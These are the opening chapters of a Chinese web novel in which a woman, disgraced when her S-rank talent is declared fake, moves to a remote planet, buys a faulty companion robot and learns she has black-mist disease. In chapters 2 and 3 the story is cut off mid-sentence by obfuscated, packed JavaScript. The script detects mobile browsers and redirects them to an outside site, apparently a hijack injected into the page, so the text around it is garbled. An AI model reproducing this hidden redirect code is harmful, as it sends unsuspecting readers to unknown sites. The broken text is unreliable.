《退婚后开家萌宠店》 1. 蓝梦星 “尊敬的各位旅客，前方即将到达此次星际旅途的终点站——蓝梦星，请您带好随身物品下船，M701号飞船全体员工祝您旅途愉快！” 头顶传来的播音声将叶聆音从过往的回忆中惊醒，她扭头向窗外看去，外面不再是一成不变的黑暗太空，可以看到云层距离自己越来越近。飞船在以极快的速度穿过云层后，蓝梦星的陆地便逐一在眼前展现。 半个小时后，叶聆音带着行李走出太空港口。路上时不时有机器人上前询问她的目的地是哪里，是否需要行李搬运服务，她都一一拒绝了。 现在还没能找到一份谋生的工作，能少花钱就少花一些吧。 叶聆音在来蓝梦星之前专门在网上搜索过，终于发现了一份幼儿园老师的工作。由于一些守旧的家长不希望年幼的孩子与高级别的能力者或是机器人相处，所以这份工作十分适合精神力评级为N级的普通人，这其中也包括叶聆音。 她抓紧学习并考取了相关证件，并按照网上的联系方式向其投递了简历。一周后叶聆音等来了对方的面试通知，她便订好了飞船票在面试的前一天来到了蓝梦星。 来到陌生星球的第一天，叶聆音打算先前往提前找好的住处，再熟悉一下这儿的环境。 蓝梦星位于帝国疆域的边缘，整体比较落后。叶聆音拉着行李在街道上走了一会儿，终于路过一处相对繁华的街区。 巨大的全息投影屏上正在播放新闻，路边有不少人驻足观看。 “近日，帝国在医药科研领域取得了一项重大成果——针对黑雾病的特效药正式宣告研发成功！” “长期以来，黑雾病困扰着帝国众多公民，严重影响患者生活质量，甚至危及生命。此次由皇家科学院主导的科研项目，历经多年艰苦攻关，成功研制出特效药物，这无疑是一项令人振奋的成就。现在，让我们把画面切换给科学院的研发者们。” 画面一转，一个身穿研究服，面容冷峻的黑发男人出现在了镜头前。与此同时，几个正盯着全息屏看的年轻女孩不约而同地发出了“哇——”的惊叹声。 毫无疑问，穿研究服的年轻男人相貌是十分出众的，再有他的身份加持，魅力自然更上一层。 “哦，是他，皇家科学院最年轻的研发员，听说他是皇家科学院首席贺徕教授的学生。”有人认出了那个同记者谈话的研发员身份。 厉决。 “本次研发的新药……” 熟悉的声音从上空传来，叶聆音的目光在全息屏介绍栏上短暂地停留了一下，低下头拉了拉帽檐，默不作声地离开了。 或许是因为刚才的新闻提到了多数人最在意的“黑雾病”，一路上，叶聆音都能听到周围的人在激烈讨论此事。 黑雾病，在叶聆音穿越来这个世界之前就存在了。 是的，叶聆音并非曜之帝国土生土长的原住民。 她七岁那年因意外早逝，结果再一睁眼就来到了这个星际世界，自己变成了刚出生的小婴儿。叶聆音在原世界就是个无父无母的孩子，这个世界的父母都很疼爱她，她也快速融入进了这个家庭。 曜之帝国的科技比叶聆音生活的原世界更加发达，很多重复枯燥的体力劳动都被机器人代替，这里的人类还觉醒了精神力，解锁了各种各样神奇的力量。乍一听上去，在这样的星际帝国生活会十分幸福，如果没有黑雾病的话。 这是一种五十年前被发现的怪病，患者起初只会感到躯体上的疲惫，精力难以恢复，随着病情发展，患者的性格会发生改变，一个阳光开朗的人或许会变得沉默寡言，温柔冷静的人会变得暴躁易怒，热情大方的人变得斤斤计较。 除了性情改变，患者的记忆力也会出现问题，先是记不住当下发生的事，比如刚读出来的一句话，随手放在桌子上的一本书，或是刚上车就忘记了自己要去哪儿。久而久之，就连过去的记忆也会被遗忘，童年发生过的事，亲人的样貌。 如果不进行治疗，到达了疾病的终末期，患者整个人会趋近于麻木的状态，变成一个不会说话不会行动的活死人，那个时候也离病死不远了。 目前对黑雾病的研究进展微乎其微，二十年前科学院经过反复尝试发现了一种特效药，虽然依旧无法根治，但能延缓疾病进展，如果能在发病初期就坚持长期服药，患者几乎可以和正常人一样生活。 可惜这样的特效药反复迭代了好几次后，依旧无法去除长期服药留下的副作用，高昂的药价也让很多普通人家庭望而却步。 而唯一可以根治黑雾病的办法，就是依靠S级治疗师的能力。这种疾病之所以被命名为“黑雾病”，是因为研究发现患者精神体出现了异常，就像是笼罩了一层模糊的黑雾。病情越重黑雾也越明显。 S级的治疗师可以驱散患者精神体上的黑雾，终末期以前的患者都可以通过这种方法获得治愈。唯一的缺憾就是，S级的治疗师实在是太稀少了，五十万个觉醒了精神力的人里面都很难出现一个S级，即便是当下已经有了一个S级精神力的人选，要成为治疗师还需要经过一系列培训与长期的练习，可以说天赋、努力缺一不可。 稀少与不可替代，造就了S级治疗师的珍贵。 “研究这个研究那个的，不还是没办法根治黑雾病吗？”看着光脑上传出的画面，水果店老板嘴里嘟囔着，百无聊赖地端起茶杯低头抿了一口。 叮铃—— 门口的铃铛突然响了。 周安国扭头向声音来源的方向看去，嘴里已经条件反射地说出“欢迎光临，看看需要买点什么”这句每天需要重复无数次的句子。 一个高瘦、单薄，拖着行李的少女推门进来，苍白的肤色显得她眼底淤青愈加明显。街道上一阵寒风骤然旋起，风卷着少女乌黑的发丝抛向空中，瘦削的肩膀让人甚至会担心这阵风会不会将她本人也一同卷走。 踏进屋子的下一秒，叶聆音赶紧反手关上了门，将那寒风关在外面。 她抬眸看向周安国：“你好，我在网上看到这里有房屋出租的信息，我姓叶。” 周安国一拍脑门，蹭的一声站起身：“对对对，我想起来了，你之前说好会今天过来。”他拉开抽屉从里面取出钥匙卡，打开水果店后门冲叶聆音一挥手，“走吧，房间在二楼。” 叶聆音跟着对方去看了水果店二楼的房间，地方不大，不过被收拾得很干净，看屋子内部的装饰风格，应该曾经是个女孩子的房间。 “是我小女儿的房间，半年前她觉醒了B级精神力，去帝都上学了，这房子就空了下来。”周安国一提起自己那个天赋出众的小女儿，就笑得合不拢嘴。 他和妻子两个人都是N级的普通公民，虽说目前没有研究能表明精神力等级与遗传有关，但人们普遍的看法就是“龙生龙，凤生凤”，能有这样一个女儿，他们夫妻二人在以前是想都不敢想的。 看到对方为女儿喜悦的神情，叶聆音恍惚间仿佛看到了很久以前自己父母欢笑的模样，心底不由一阵刺痛，可现在人家毕竟在分享愉快的事情，不能扫兴，于是她仍旧努力挤出一个微笑祝贺了对方几句。 “对面那间住着的，是个和你差不多大的女孩子，你见到她也别害怕，那小姑娘虽然打扮得流里流气的，但人不坏的。我看看啊，这个时间她应该快回来了。”看了一圈叶聆音自己要租住的屋子后，房东又提了一句她未来的室友。 叶聆音选择了合租，没什么理由，就是图价格便宜。 二人看完房子，就在房东周安国第四次将要提起自己在帝都上学的小女儿时，一个穿着打扮很时尚，画着浓妆的青年女性从走廊另一头上了楼梯，打着哈欠，手里还拎着一个破旧帆布包，里面鼓鼓囊囊的不知道装了什么。 “喔，终于来新租客了，老周？”对方懒洋洋地和周安国打招呼。 “是咧，刚好你们俩这会儿碰上了，可以互相认识一下，以后好有个……” “不必。”宋琪一口回绝了房东的提议 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叶聆音对自己今后的住所很满意，跟着周安国去楼下签订电子合同。 在曜之帝国，每个人从出生起就要在天网中建档，并发放ID手环，作用相当于叶聆音穿越前原世界的身份证，不过功能更高级。就比如现在要租房子的叶聆音，房主和租客的信息都会统一上传到天网，让这个过程简化了不少，不用担心上当受骗。 一楼的水果店里，投屏上依旧播放着新闻频道，不过主题不再是黑雾病，而是一则娱乐新闻。 飞船外挤满了各个报社的记者和摄像师，车门刚一打开，闪光灯不约而同地全部亮了起来。一个贵妇打扮的中年女人带着自己的一双儿女从门内走了下来，三人都戴着帽子和墨镜，无一例外冷漠的神情显然并不想接受这次采访。 不过为了写出独家报道的记者可不会管你此时心情好不好，无数麦克风已经探到了贵妇人嘴边。 “孟女士，请问元帅府的小少爷婚事具体定在了哪一天呢？您于四年前向外界宣告了令郎已经订婚的消息，当年说办成人礼的第二年就会结婚并公开新娘的身份，如今已经过去半年多了却还没有要结婚的打算，请问是原定的婚事出现什么变故了吗？” 第一个说话的记者就问得十分直白，贵妇的脸色肉眼可见得更不好了。 见对方迟迟不说话，后面的几个记者又将目标换成了走在母亲身后年轻的帝国元帅家的小儿子——康斯年。 “康小少爷，半个月前有人拍到您与AM公司当红小花林元元一起出入娱乐场所的照片，三天前林元元工作室否认了自己是传闻中内定的那位订婚对象，请问结婚时间推迟和此事的曝出有关吗？” 康斯年紧绷着下唇一言不发，只是加快了脚下步伐，横冲直撞地想要越过这群阻拦在身前碍事的娱乐记者们。 他的姐姐康幼兰则十分烦躁地紧随其后，嘴里还嚷嚷着让这些人滚开。 人群过于拥挤，推搡中有几个人摔倒了，围观的人一边手忙脚乱去扶，一边又不甘心难得的采访机会溜走，场面一时间非常混乱。 瞄了一眼屏幕的周安国轻嗤一声：“到底是大人物，结不结婚，和谁结婚都有这么多人关心，唉，如今的新闻真是越来越无聊了，报道的这些事情和我们这种普通人又有什么关系呢，你说是吧，小姑娘？” 叶聆音喉头发紧，实在说不出话来，只是使劲点了点头。 交接完成后，叶聆音来到二楼窗户边，望向远处的河流与天空。 蓝梦星的天空是蓝中带点粉色的，看着格外梦幻，所以才被称作“蓝梦星”。不过因为星球上没有什么珍贵资源，又离帝都星的距离过远，所以相对落后许多。 不过，没关系。 叶聆音深吸一口气，又使劲将身体里的浊气全部呼出。 她的新生活，就要开始了。 2. 面试 第二天一大早，叶聆音就出门赶往面试现场。 面试过程她已经自己在家演练了无数遍，虽然有点紧张但并不影响发挥。 来面试的人很多，基本都是N级精神力的普通人。 面试结束后，园方没说什么，只是让她回去等通知。叶聆音离开的时候，正好是课间时段，一些好奇的孩子趴在窗户边看她，还有两个旧员工在楼梯间聊八卦。 “哎，你听说了吗？帝国元帅小儿子那事，当初好像是和一个现在已经糊了的明星打得火热，结果被狗仔曝光没多久后就宣布订婚了，女方非常神秘。” “你说这个呀，最近传得沸沸扬扬的，说是已经退婚了。” “为什么呀？当初还说肯定会结婚呢。” “听小道消息说，帝国元帅家原本是看中了那个女孩拥有S级精神力的潜力，结果后来发现是女方家勾结精神力测试中心的人作假，实际根本就没能成为S级！这女人年纪轻轻也真不简单啊，靠这个办法骗了好多人，不过她自己也不想想，事情迟早有败露的一天，何必想出这种歪招呢？” 那二人聊天的声音不算小，时不时还发出大笑，毕竟八卦的主人公又不在这里，自然是想到什么就说什么。被动听到这一切的叶聆音下意识地停住脚步，呆站几秒钟后又反过来加快了脚步，小跑着出了大门。 来到街道上，她大口大口地呼吸着新鲜空气。 仰头望向远处浅粉色的晴朗天空，叶聆音抬手按在自己额头上。 停止。 停下来，叶聆音。 过去发生的一切都无法改变，不要陷入回忆了。 反复在心中默念几遍后，叶聆音逐渐恢复了平静，今天的面试她自我感觉还不错，运气好一点的话，应该能被选上，今后就能在这颗陌生星球上开启新生活了。 回到住的地方，已经是下午了。 周安国正从一辆货物运载机上卸下新到的一批货物，看上面的标识，叶聆音认出那是一辆来自帝都的运载机。 似乎是注意到她的视线，周安国笑着开口：“听我小女儿的建议，进了一批新鲜玩意，说是什么陪伴型机器人，可以陪人说话聊天，还会跳舞。长住在蓝梦星的老人孩子都没见过这玩意，我觉得挺有意思的，就批发了一些过来试试，你有兴趣吗？” 叶聆音看着一个个包装精美的盒子被搬进店内，微笑着摇了摇头：“我应该用不到了。” 虽说大概率不是同一家公司出的，但周安国口中的这种陪伴型机器人她家里也有一个，自从她的爷爷去世后，奶奶经常一个人在家，家里人便买了一个，想着能陪奶奶说说话，不至于那么孤单。 价格也不是很贵，并非是什么有钱人才买得起的奢侈品。不过对现在的叶聆音来说，确实没什么必要多花这一笔钱。 “确实，年轻人都有自己多姿多彩的生活，这玩意放家里也是积灰。”两人熟络了一些，周安国便和叶聆音又多聊了几句。 “听你的口音，是外地人吧，怎么会想到来我们蓝梦星的，现在的年轻人多是去帝都星，要么就是菲罗星，或者巴特林星之类的。人多，机会也多。” 叶聆音不知道该如何回答这个问题，短暂地思索了两三秒，只是说：“这里挺好的。” 对她来说。 就在这时，迎面走过来一道高挑的身影，是昨天刚见过一面的，那个昼伏夜出的室友宋琪。 “哟。”宋琪抬起手晃悠了一下，就当是打过招呼了。她今天的妆更浓了，脸颊上还贴着荧光亮片，似乎是模仿了五十多年前的复古妆，破洞与色彩拼接的穿着风格给人一种又土又时尚的感觉。 在很多上了年纪的人眼里，这种打扮的人会被自动归到“不正经”那一类。 那个运载机司机看向宋琪的眼神就很微妙，不过后者并未在意，嘴里哼着断断续续的流行曲。 与室友分别，叶聆音独自一人上到二楼。她在回来的路上在便利店里购买了营养液，价格便宜，干净卫生，而且还包含人体每天所需的全部营养物质，除了不好吃外没有其它缺点。 夜里，家里给她打了视频，简单询问了一下她今天面试的情况。 “有什么需要的就买，不要总想着省钱。”视频是用秦蓝的光脑打来的，她脸上挂着浅笑在家里走动。 “你瞧，你爸爸还在家里面加班呢，他们单位的工作最近特别多。”她一边说，一边转动光脑给女儿看坐在书房里敲击电脑的丈夫。 原本对着屏幕愁眉不展的叶向明，在看到妻子举着光脑进来了，凝重的神情顿时舒展了不少：“聆音，你妈说得对，有什么需要的就买，只要是你用得到的，不要心疼钱。” “嗯。”叶聆音点点头，开口又问，“家里没出什么事吧？” “没事啊，能有什么事呢，我们都好好的。” 说话间，秦蓝又溜达到了小女儿的房间门口：“翎羽，出来和你姐姐说说话不？不要总把自己关在屋子里，时间久了人会闷坏的。” 趴在床上穿着卡通睡衣的少女像只兔子般一跃而起，噔噔噔快步走过来一把关上了卧室门，因为隔着门听上去有些低沉的声音从屋内传出。 “说了多少遍了，我不闷，不闷！” “而且不要把我当成景区的动物一样拍来拍去，烦人死了。” “还有，我不关心叶聆音的事，不要再问我了。” “唉，这孩子。”秦蓝看着面前紧闭着的房门，无奈地嘟囔了一句。 叶聆音安慰了母亲，同时也帮妹妹说了几句话。她也是从青春期过来的，能理解这种心情。叶翎羽不希望还和小时候一样，父母可以自由出入自己的私人空间，和她这个年长了七八岁的姐姐也没有什么共同语言。 闲话了一些家常后，秦蓝见她坐在镜头前开始打哈欠了，便让她快去休息，随后挂断了视频。 没了母亲的说话声，整座屋子顿时变得寂静。这条街道的夜晚很少有人经过，住在隔壁的宋琪也不在，仿佛看不见的神明瞬间按下了静音键。 叶聆音盯着面前的墙壁看了一会儿，她明白，虽然这三个人掩饰得很好，但发生了那样的事情，家里父母和妹妹也不好过。 被强行忽略的记忆就像包在纸里的火苗，稍不注意就会再次想起。但叶聆音明白，回忆这些除了让自己反复感受痛苦外没有任何作用。 睡吧。 希望明天会有好消息。 ———— 换了个地方居住，好运似乎再次眷顾了叶聆音。 好消息来了。 园方一大早就给她发来了消息，说她的面试通过了。叶聆音喜出望外，很快赶了过去。 “恭喜你啊，叶女士。你别看我们这个幼儿园这么一点大，但现在工作可不好找了，特别是对精神力N级的普通人，所以竞争还是非常激烈的。” “我们领导对你的形象还有专业素质都很满意，一些见过你的孩子也很喜欢你。呵呵，不瞒你说，虽然在我们成年人看来小孩子什么都不懂，但我在这儿干这么久了，我能感觉到，哪怕是只有几岁的小不点也更喜欢年轻漂亮看起来很温柔的老师。” “不过还有一点需要确认一下，看你发过来的资料，你的家庭住址在天昭星，离我们蓝梦星可不近哦……”对方说到关键位置停顿了一下，抬眸看向坐在面前年轻的女孩。 叶聆音及时打消了对方的顾虑：“如果工作稳定下来，我是考虑长住在这里的。” “那行，等拿到入职体检报告，没什么问题的话你明天就可以来上班了。” ———— 傍晚的天空中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“无论我是大笑还是发怒或者扮鬼脸，它全给你识别成‘悲伤’，然后开始噼里啪啦乱说一通鸡汤。” 许是识别到了周安国说的话，那小机器人很快接上一句：“我还会讲笑话，例如：刚刚被邻居举报噪音扰民了，因为我穷得叮当响。” 周安国明显被这小机器人的这句话给噎了一下，他脸上的表情有些崩坏，似乎确实被这个简短的冷笑话给逗乐了，但又觉得自己被一个出故障的机器人给拿捏很没面子，于是硬绷着脸没有笑出来。 而一个机器人是看不懂气氛的，于是它又开始了自己的表演。 “恭喜发财！愿你岁岁无忧笑口常开，幸福永远不打烊。” “心情还不好吗？那我给你唱首歌吧，咳咳——”它还会装模作样地模仿人清嗓子，“一起来，让我们跟着节奏摇摆~摇摆~烦恼伤心全抛开~坐上火箭喊发射~” 周安国一脸的生无可恋，一巴掌拍在小机器人圆滚滚还反光的脑壳上：“你能听懂我们说的什么吗？在这儿又唱又跳的。” 原本心情就很放松的叶聆音忍不住笑出了声。 周安国也终于是绷不住了，他佯装发怒的气音一开口也带上些许无可奈何的笑意：“除了这一个出故障的，后面我又拆开几个都没问题。联系了供货商，一开始和我扯皮硬说没坏是我不会操作，后来好不容易松口说可以换，但走流程又特别复杂，我实在懒得弄了。唉，我卖的水果哪怕果皮稍稍有些擦破都没人要，更别说是这种电子产品了，这种坏了的残次品肯定更没人要了，没办法，我想着要么就把它留在店里招揽顾客得了。” 叶聆音琥珀色的眼睛注视着那个故障小机器人，它还是唱唱跳跳的，按照出厂设置里定好的程序“想办法”哄人开心，它根本不知道自己“坏了”，是个没人愿意买的残次品，也许它压根不明白这个词是什么意思。 不知怎么想的，叶聆音突然鬼使神差般地开口道：“不介意的话，可以打折卖给我吗？” 3. 小F “什么？”周安国愣了一下，随后反应过来她问的是这个小机器人，“你真要啊？虽然它看起来还能唱能跳的，但确实是有故障，要不我拿个好的再给你看看？” 叶聆音摇头：“不用了，就这个吧。”她原准备说几句听起来靠谱些的理由，比如一个人晚上呆屋子里太安静有些孤单，只是为了热闹这小机器人的这点功能够用了，但最终她什么都没能说出口。 只是再次表达了自己愿意买下这个残次品。 周安国也不是那种凡事都要打破砂锅问到底的人，也许这小姑娘就是觉得这小玩意有眼缘呢，他最后以市场价一半把小机器人卖给了叶聆音。 她拎着大包小包出了门，看到街对面围了一堆人，人头攒动不知道在做什么。往常叶聆音或许不会在意，但或许是因为今天心情不错，她小跑几步上前凑了个热闹，原来是个摆摊卖药的。 针对黑雾病的特效药。 身边的人对此议论纷纷。 “这不明显是个卖假药的骗子吗？刚才竟然真有人买了。” “现在的骗子都这么嚣张了？”纵使说话的几人压低了声音，但距离这么近，周围很多人还是听到了，附和声也很多。 “就是啊，要真像他吹的那么玄乎，四五个疗程药到病除，帝国科学院首席贺徕教授的位置都能让给他坐了。帝国每年给的实验经费就上亿，还用得着在这儿摆摊？” 被当面指成骗子，那摊主也不甘示弱，吹胡子瞪眼地要不相信他的人别妨碍他帮助真正有需要的可怜人。 说话间，一个满头银丝，穿着朴素的老太太就买了三份“特效药”，人群中有人劝阻她，但老人家根本不听，还很执拗地喊叫着让对方别多管闲事，这些人本来就非亲非故的，见这老太太是非不分脾气还坏也纷纷收回了自己的好心，转变成了看笑话的心态。 “这种人就是活该被骗！” “钱不多人还傻，真的没救了。” 叶聆音虽然一言不发，但内心也是认同这摊贩是骗子的，一些老人上了年纪非常固执，别说是陌生人，就是自家儿女劝阻可能都不一定奏效。 回到屋子，叶聆音从包装盒里取出小机器人，对着说明书研究了一会儿，上面说可以给小机器人取名字，还可以绑定自己的光脑，如果不小心丢失后它可以自己发送位置信号给使用者。 叶聆音按照说明书上的指示一步步操作，小机器人身上的指示灯亮起，和先前在水果店里又唱又跳时那种炫彩的光效不同，现在的明显平稳多了。 “滴，请用户命名。” 窗外已经完全黑下来了，叶聆音捧着小机器人沉默了很久，她的脑海中闪现过很多具有特殊意义的名字，有她小时候养过的小猫的名字，喜欢的小说人物的代号，自己曾经的网名，或者换一种思路，起一些寄托美好愿望的，表达此刻心境、喜好之类的。 叶聆音触摸着小机器人光滑平整的外壳，她很容易走神，明明是在思考取一个名字，注意力却完全被指尖的触感吸引走了。 她的大脑有一瞬间的放空，在回过神来时，脑海中却莫名出现一个名字，是一个没有任何含义的，普通到不能再普通的名字。 小F。 “你就叫‘小F’，好不好？”她轻轻开口。 机器人的指示灯闪烁了几下，发出声音回应了她：“从现在起我的名字就是‘小F’了，已经确认好了吗，主人？” “确认。” “好的，主人。” “小F提醒您，现在已经是晚上九点了，您可以洗个舒服的热水澡后躺在床上。如果暂时睡不着的话，小F可以给您讲几个放松的睡前故事。” 然而，当叶聆音真的这么照做后，它却讲不出任何故事，大概仍是错误地将叶聆音的表情识别成了悲伤，它又开始播放一些鼓励性的鸡汤句子。 “主人别难过，我相信这只是一时的挫折，你绝对有办法战胜它，我会一直在你身边，为你加油打气的。” “你积累的每一次经验，都是通向成功……” 叶聆音按灭台灯：“小F，我要睡了。” “……成功路上的宝贵……好的，主人，祝您晚安。” 房间陷入黑暗，小F头顶的提示灯闪烁了一下也灭了，这表明它进入了待机状态。除非再次被主人唤醒，否则不会再发出任何声音或是做出任何动作。 然而，就在那白色外壳之内，它本身却并未停止思考。 它可以和叶聆音进行简单的对话，虽然它自己不明白为什么要这么做，因为程序里就是这么写的。它的摄像头可以识别主人的表情，并对此做出反应，但在具体执行的过程中似乎出现了什么问题，导致它只能输出一些鼓励打气的话语。 至于行动，这个身体可以做出跑、跳、翻滚等动作，它的手还可以捏起厚度适中的物品，可以按照程序设置做出不同的手势，比如剪刀手，比OK，不过远没有它的主人动起来那么协调。 目前它就研究清楚了这么多。 嗯？要问这个“它”自己究竟是谁？ 它是小F。 不过，“小F”是什么？ 不知道，反正程序就是这么设置的。 它开始研究自己的其它用法。 陪伴型机器人可以接入网络，这一功能常常用作为主人上网搜索信息，或是播放音乐视频之类的。而目前的小F是没有联网的，因为叶聆音暂时还没有这方面的需求，作为一个机器人它要听主人的话。 程序是这样写的。 …… 漆黑的夜异常寂静。 女孩侧卧在床上，平稳地呼吸着，一旁的床头柜上，原本进入待机状态的圆形小机器人突然亮起了一点微弱的指示灯，这表明摄像头正在使用。 在“看到”女孩睡得很熟后，小机器人身体上又有一盏指示灯亮了起来，是黄绿色的，用于区分功能。这一次是搜索附近网络的功能。 是的，虽然主人没有唤醒它，但它自己悄悄启动了。虽然设定好的程序里没有自行启动这一条，不过它有自己的想法。 搜索了一圈，它倒是发现了不少可用网络，不过都上锁了。 程序里也没有写陪伴型机器人拥有破译密码的能力，哪怕主人这样要求了也做不到，因为没有这个功能。 但是它现在就想体验上网的功能。 经过反复尝试，就像它无视了程序设置擅自启动，它成功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862797|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越过了输入密码这一步骤连接到了网络。 几乎是一瞬间，新世界的大门打开了。 ———— 一整晚都是光怪陆离的噩梦，叶聆音在闹钟响之前一个小时就醒了。虽然感觉仍有些困，但她担心睡回笼觉会彻底昏睡过去错过入职，便打算直接起身洗漱。 下床穿鞋的时候，她看了一眼摆放在床头桌上的小机器人，说明书上写只要喊它一声设置好的名字就能启动，叶聆音抬手放在小机器人圆溜溜的脑袋上：“小F。” 小机器人一动不动。 起初叶聆音以为是自己的声音太小了对方没“听到”，但当她凑到小机器人身边反复呼唤了好多次，后者还是没有任何反应，显示屏上的所有指示灯都是熄灭状态。 这是……坏得更彻底了？ 不，还有一种可能。 叶聆音从包装盒里取出充电器，连接在了小机器人身上，伴随着“叮咚——”的清脆提示音，机器人显示屏上出现了正在充电的画面，果然已经电量见底了。 虽说这种廉价机器人确实比较费电，但昨天看说明书上写只要不是连续高强度使用，续航时间有四五天呢，她昨天晚上就打开给它取了个名字，前后不超过半个小时，竟然就没电了。 可能是进货的时候电就没充满吧，叶聆音心想，没有太在意这件不起眼的小事。 今天是入职第一天，千万不能迟到。 叶聆音打开光脑，没有新信息发来。她还以为园方会在拿到体检报告后通知她一声呢，应该是默认了她今天会按时来吧。 因为起得早，上班第一天她又想给上级一个好印象，便提前来到了幼儿园。等了有十多分钟，保安才到，是个四十多岁的大叔，他认出了叶聆音，一边开门一边笑着和她搭话。 “哎，你不是前些天来面试的那个新老师吗？第一天来这么早啊。” 两人互相客套了几句，叶聆音走进了院子，因为园方还没有具体安排她的工作，她便坐在那天面试的接待室里等待。 等了差不多二十多分钟，叶聆音见到了昨天与她对接的那位十分亲和的前辈。让叶聆音意外的是，对方不似之前那样笑容满面，看到她眼神反倒有几分古怪。 几乎是一瞬间，叶聆音的一整颗心就沉了下去。她是个情感细腻的人，能够敏锐地觉察到对方出现这种情绪上的改变，一定是有什么不好的事情发生了。 内心惴惴不安，叶聆音表面上还是神色如常，她强撑着站起身礼貌地同对方问好。 “你先坐下来吧。”对方的语气疏远了不少，并非出于傲慢，而是一种尴尬的回避。 叶聆音重新坐回座位，两人目光对视，对方拉扯嘴角挤出一个不自然的笑：“可能有些突然，但时间宝贵，我就直说了吧。” “很抱歉，叶女士，我们不能录用你。” 哪怕已经有了心理准备，在听到这句话后，叶聆音仍是瞪大了眼睛。 预料到她会询问原因，那人也很快从文件袋中取出几张纸，满怀怜悯与无奈地递给了叶聆音。 是入职体检报告。 “叶女士，是这样的，我们之所以会做出这个决定，是因为你患上了黑雾病。” 4. 黑雾病 叶聆音不知道自己是如何回到屋子的。 等她回过神来的时候，她已经在窗边枯坐了两个多小时，四肢冰凉。 黑雾病…… 她为什么会患上黑雾病？ 就连告知她这个噩耗的那位前辈也百思不得其解，黑雾病确实是困扰帝国人的一大难题，但高发人群多是三四十岁以上的中老年人，且几乎有百分之七十的患者都是觉醒了精神力的人。 而叶聆音不光年轻，还是个精神力N级的普通人。 她会患上黑雾病，虽说并非是不可能的，但也着实……太过倒霉了。 叶聆音又换了家医院去检查，结果是一样的，她恍惚着从检查室里走出来，甚至可以从围观的一些医生护士眼中看到或是震惊或是怜悯的情绪。 天边最后一抹光亮沉入地平线以下，蓝梦星独有的粉色天空也在这时变为墨蓝色，与其它星球不再有任何区别。 看吧，都是一样的。 自己想象中的“重新开始”，就和当初选择的这颗星球的名字一样，一场奇幻瑰丽却虚假的梦境罢了。 屋子里越来越冷，叶聆音取出毛毯披在身上。 她近乎麻木地用一种旁观者的目光分析自己当下的处境。 现在该怎么办？ 别说是对她这种普通人了，即便是身价千万的富豪，黑雾病也相当于绝症。区别就是富豪可以靠昂贵的特效药维持生命，而以她的家庭条件不出几年就会被拖垮。 唯一能彻底治愈黑雾病的只有S级治疗师，这是板上钉钉的事实，而目前能用得起S级治疗师资源的，恐怕只有皇室了。 S级治疗师…… 脑海中出现这个词时，叶聆音甚至感到了一丝可笑，如果命运有实体，现在的它一定正托着下巴好整以暇地欣赏着她的痛苦吧。 坚持了这么久的自欺欺人在这一刻彻底崩盘，记忆如潮水一般涌来。她想起十二岁那年，自己拿到那份潜力S级的精神力鉴定证明时，父母喜极而泣的样子。这份记忆在她的脑海里是那么深刻，那么刻骨铭心，以至于现在回想起来，都仿佛是昨天刚发生过一样。 她在星际世界的家庭算不上大富大贵，但也并不贫穷，她爷爷年轻时曾经营着一家小公司。 如果没有这份S级潜力鉴定证明，她只会是无数个普普通通家庭中，一个普普通通的女孩子。 起初，她们一家人确实被这份上天赐予的“大礼”砸昏了头，沉浸在一片无法自拔的狂喜之中。这条好消息一传十十传百，待到喜悦退去，掩藏在下方的利益算计便都显现了出来。 认识她们一家的人变得更加殷勤，不认识的便想方设法牵线搭桥。 这其中，联姻关系是相对容易和稳固的。 与帝国元帅家小儿子的婚约是她的大伯订下的，爷爷去世以后大伯一家继承了家业。过去以她的身份根本见不到这种大人物，没想到有一天会同时有这么多人向她们家抛来橄榄枝，大伯一家恨不得将她拆成好几个送出去联姻。 她的父母虽然对大伯一家擅作主张的行为颇有微词，但对这个最终选定的联姻对象大致是满意的。订婚的消息一经放出，确实吓退了不少没勇气与元帅家作对的人，不过或许是因为S级治疗师的诱惑力实在太强了吧，依旧有人不死心。 包括那位频繁出现在新闻上，皇家科学院首席贺徕教授的大弟子厉决。传闻中不苟言笑的天之骄子，视事业为生命，被许多人调侃为比机器还不懂感情的冷峻男人，却会腾出宝贵的休息时间从帝都星飞来探望她。 还有曾经住在她们家隔壁，称两人是青梅竹马关系的邻居家的孩子——林天诚，他虽然没有表现出任何还想要追求叶聆音的意图，却总会用怜惜的眼神注视着她：“聆音，其实那些位高权重的男人只是为了你的能力与你订婚的，你应该与一个真正爱你的人在一起。” 真正爱她的人？ 人人都戴着面具在舞会上翩然起舞，面具之下的真容叶聆音似乎没有机会可以看到。 她那个时候也不懂爱情。 如果不出什么意外的话，她会按照两家订好的婚约，嫁进元帅府，与康斯年共度余生。 可惜人算不如天算。 曾经被寄予厚望的，可以成为S级治疗师帮助其他人摆脱黑雾病的她本人，在成人礼过后却并未觉醒精神力。别说是十分稀有的S级了，测试结果显示她甚至只是一个评级为N级的普通人，她没有精神力。 噩耗比喜事的传播速度更快，曾经的道喜、恭维与笑脸如同带毒的锦缎，现在隐藏于其中绵密的，针刺般的嫉妒与恨意终于得以重见天日。一时间，各种阴谋论闹得满城风雨，最被大众所推崇的一种说法是——叶家为了利益，私下里勾结精神力鉴定中心伪造出一个未来的S级天才，好骗取一些非富即贵大家族的青睐，从中获得好处。 那个叶家的天才女儿，其实是个骗子。 一个资质平平的普通人，却顶着天才的名号招摇撞骗，堂而皇之地享受着外界的追捧与荣光。 对，叶聆音是个骗子，一个连自己都骗过了的骗子。 退婚的消息紧随其后，其余那些围绕在她身边诉说着山盟海誓的追求者，这一回都主动消失得悄无影无踪。 说实话她可以理解这些人，有价值就会被追捧，没有价值就会被抛弃，这是亘古不变的规则，不遵从这条规则的世界是无法存在的。 那段时间，她几乎无法出门。 